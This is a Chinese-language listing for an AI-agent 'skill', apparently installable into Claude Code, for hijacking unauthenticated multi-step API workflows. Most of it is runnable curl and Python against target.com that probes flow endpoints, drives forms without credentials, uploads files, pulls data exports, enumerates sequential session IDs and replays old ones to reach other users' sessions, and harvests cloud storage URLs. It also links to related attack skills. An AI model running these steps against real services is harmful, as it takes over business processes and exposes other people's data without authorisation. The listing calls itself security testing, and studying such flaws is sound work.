mcpField
U
unauth-api-flow-hijack

unauth-api-flow-hijack

github.com/uphiago安全1.3k40 次安装8 周前更新
代码仓库

关于 unauth-api-flow-hijack

用于评估可能无需认证即可运行的多步骤 API 工作流的安全测试技能。它指导测试人员梳理流程状态,并检查文件上传、数据导出及会话标识符。

主要功能

  1. 01发现未认证的工作流端点
  2. 02梳理多步 API 状态变化
  3. 03测试无凭据文件上传
  4. 04检查导出与下载访问
  5. 05评估会话 ID 重放和枚举

适用场景

  1. 01审计无需认证的申请或结账流程
  2. 02检查工作流上传文件是否可公开访问
  3. 03测试导出内容及其他会话的访问权限

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill unauth-api-flow-hijack

安装后在 Claude Code 中输入/unauth-api-flow-hijack确认已加载。

详细介绍

未经身份验证的 API 流程劫持

利用无需在任何步骤进行身份验证、却实现完整业务工作流(面试、申请、结账、入职)的 API 端点。与简单的数据泄露不同,这些流程允许攻击者参与并操纵应用程序的核心业务逻辑:提交表单、上传文件、完成交易和导出数据。整个状态机都可在没有凭据的情况下访问。

适用场景

  • API 提供多步骤工作流(start → step1 → step2 → ... → complete)。
  • 任何步骤都不需要身份验证令牌、会话 Cookie 或 API 密钥。
  • API 会返回可在后续步骤中重复使用的会话标识符(UUID、令牌)。
  • 工作流包含文件上传、数据提交或导出功能。
  • 错误消息会透露预期的请求格式(验证端点处于活动状态)。

前提条件

  • 配备 curl 和 python3 的 terminal。
  • 已发现至少一个无需身份验证即可接受 POST 请求的 API 端点。
  • 该端点会返回一个标识符(会话 ID、面试 ID、令牌),可传递给后续步骤。

快速检测

# Probe common flow-starting endpoints
for ep in /start /api/start /api/v1/start /begin /init /api/init \
          /start-interview /api/interview/start /api/session/start; do
  code=$(curl --max-time 30 --connect-timeout 10 -sk -o /tmp/resp.json -w "%{http_code}" \
    -X POST "https://target.com$ep" \
    -H "Content-Type: application/json" -d '{}')
  if [ "$code" = "200" ] || [ "$code" = "201" ]; then
    echo "=== $ep ($code) ==="
    cat /tmp/resp.json | python3 -m json.tool 2>/dev/null | head -20
    # Extract any returned ID
    cat /tmp/resp.json | python3 -c "
import sys,json,re
try:
    d=json.load(sys.stdin)
    for k in d:
        if any(x in k.lower() for x in ['id','token','session','key']):
            print(f'{k}: {d[k]}')
except: pass
"
  fi
done

操作步骤

阶段 1 — 梳理流程

按照 API 的自然流程找出所有步骤:

import requests, json

BASE = "https://target.com"
session = requests.Session()

# Step 1: Start the flow
r = session.post(f"{BASE}/api/flow/start", json={})
data = r.json()
flow_id = data.get("id") or data.get("sessionId") or data.get("token")
print(f"Started: {flow_id}")

# Step 2-N: Follow the flow by submitting whatever the API asks for
for step in range(1, 20):
    # Try generic submissions — the API's error messages will guide you
    r = session.post(f"{BASE}/api/flow/submit", json={
        "id": flow_id,
        "answer": "test response",
        "data": {"key": "value"}
    })
    
    resp = r.json()
    print(f"Step {step}: {resp.get('currentStep', '?')} — {resp.get('message', '')[:80]}")
    
    # Check for completion or blocked paths
    if resp.get("complete") or resp.get("error"):
        break
    
    # Extract any requirements from the message
    if "required" in str(resp).lower() or "invalid" in str(resp).lower():
        print(f"  Validation: {json.dumps(resp)[:200]}")
阶段 2 — 利用文件上传

如果流程包含文件上传,请测试是否存在不受限制的上传:

# Test file upload without auth
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/flow/upload" \
  -F "[email protected];type=application/pdf" \
  -F "id=$FLOW_ID" | python3 -m json.tool

# The response often returns a public URL for the uploaded file
# Check if uploads are stored in a public bucket
阶段 3 — 利用数据导出

许多流程会在完成时提供导出/下载功能:

# Test export without auth
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/flow/export" -o export.xlsx
file export.xlsx  # Check if it's a real file with data

# Try export with different format parameters
for fmt in xlsx csv json pdf xml; do
  curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/flow/export?format=$fmt" -o "export.$fmt"
  [ -s "export.$fmt" ] && echo "export.$fmt: $(wc -c < export.$fmt) bytes"
done
阶段 4 — 枚举并重放

如果会话 ID 可预测或已暴露,请枚举其他会话:

# Check if IDs are sequential or enumerable
for id in $(seq 1 100); do
  code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" \
    "https://target.com/api/flow/status/$id")
  [ "$code" = "200" ] && echo "Active: $id"
done

# Test if old session IDs can be replayed
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/flow/submit" \
  -H "Content-Type: application/json" \
  -d '{"id": "OLD_SESSION_ID", "answer": "replay test"}'
阶段 5 — 与存储访问组合利用

如果上传内容存储在云存储桶中,请结合云攻击技能:

# Extract storage URLs from upload responses
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/flow/upload" \
  -F "[email protected]" \
  -F "id=$FLOW_ID" | python3 -c "
import sys, json, re
data = sys.stdin.read()
for url in re.findall(r'https?://[^\s\"<>]+\.(?:supabase\.co|amazonaws\.com|storage\.googleapis\.com)[^\s\"<>]*', data):
    print(f'STORAGE_URL: {url}')
"

注意事项

  • 速率限制会中断流程。 多步骤 API 通常会按 IP 限制请求速率。请在步骤之间放慢速度(延迟 0.5-1 秒)。
  • 状态会过期。 某些流程会在超时后使会话 ID 失效。如果步骤开始失败,请重新启动流程。
  • 存在验证关卡。 API 可能要求数据格式有效(电子邮件、电话、文件类型)。请仔细阅读错误消息——它们会明确说明预期格式。
  • 并非每一步都使用 POST。 某些流程使用 GET 检查状态、使用 PUT 更新、使用 DELETE 取消。请测试所有方法。
  • 导出内容可能为空。 刚启动的流程会生成空导出。测试导出前,请先完成整个流程。

验证

  1. 在完全无需身份验证的情况下,从头到尾完成整个流程。
  2. 验证每一步是否都会产生可在后续步骤中看到的状态变化(流程确实在推进)。
  3. 确认文件上传已存储且可检索(检查返回的 URL)。
  4. 验证导出是否包含真实数据(检查文件大小和内容)。
  5. 如果会话 ID 可枚举,请确认能否跨会话访问(访问其他会话的数据)。

相关技能

  • api-noauth-hunt — 检测缺少身份验证的 API 端点。
  • hardcoded-credential-hunt — 查找可解锁流程中特权步骤的密码。
  • hunt-write-gap — 无需读取身份验证即可接受写入的 POST/PUT 端点。
  • hunt-idor — 利用流程会话 ID 中不安全的直接对象引用。
  • firebase-supabase-attack — 上传内容存储在 Supabase/Firebase 存储时使用。

评论

支持 Markdown